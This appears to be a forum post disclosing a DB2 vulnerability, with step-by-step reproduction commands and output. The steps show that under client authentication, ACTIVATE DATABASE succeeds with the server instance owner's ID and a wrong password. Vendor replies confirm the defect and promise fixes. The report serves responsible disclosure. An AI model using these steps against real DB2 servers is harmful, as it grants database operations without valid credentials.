ACTIVATE DATABASE requires a minimum authority level of SYSMAINT. However, if an instance has been configured with AUTHENTICATION=CLIENT, a user on a client is able to successfully activate a database on the server, when providing a username and password with incorrect credentials.
Steps to reproduce:
[ On DB2 Server ]
1. Create instance db2inst1 on server
2. UPDATE DBM CFG USING AUTHENTICATION CLIENT
3. db2stop ; db2start
[ On DB2 Client ]
5. Create a client instance on client machine (db2icrt -s client db2clnt)
6. Catalog TCP/IP node & SAMPLE database
7. Create a test user ID (`testuser`) on client machine (ID does not exist on DB2 server)
8. As `testuser`, validate that client authentication is working:
testuser@dpx-sles12-02:~> db2 connect to sample
Database Connection Information
Database server = DB2/LINUXX8664 22.214.171.124 SQL authorization ID = TESTUSER Local database alias = SAMPLE
testuser@dpx-sles12-02:~> db2 terminate DB20000I The TERMINATE command completed successfully.
9. Validate that instance owner ID does not exist on client machine:
testuser@dpx-sles12-02:~> id db2inst1 id: db2inst1: no such user
10. Validate that client authentication fails in CONNECT:
testuser@dpx-sles12-02:~> db2 connect to sample user db2inst1 using not-the-password SQL30082N Security processing failed with reason "24" ("USERNAME AND/OR PASSWORD INVALID"). SQLSTATE=08001
11. Show that `testuser` can't activate database:
testuser@dpx-sles12-02:~> db2 activate database sample SQL1092N The requested command or operation failed because the user ID does not have the authority to perform the requested command or operation. User ID: "TESTUSER".
12. Show that `testuser` can successfully ACTIVATE DATABASE using a userID that doesn't exist on the client machine (but is the instance owner ID on the server):
testuser@dpx-sles12-02:~> db2 activate database sample user db2inst1 using not-the-password DB20000I The ACTIVATE DATABASE command completed successfully.
This vulnerability is present in the EAP 22 on Linux (Informational tokens are "DB2 v126.96.36.199", "s1704200100", "DYN1701310100AMD64", and Fix Pack "2".), as well as in DB2 10.5 on Linux. At this time I'm not sure if it's present on other platforms or older versions.
We looked into this and confirmed what you are seeing: the database is being activated by an ID that cannot connect.
We have opened an internal defect for this and will address it in both DB 10.5 and DB2 11.1 asap.
Thanks for letting us know!
Thanks for letting us know, let me check into this one...
FYI, this was first mentioned on DB2-L by Harishkumar Pathangay (the guy who makes the "DB2 LUW Academy" YouTube videos).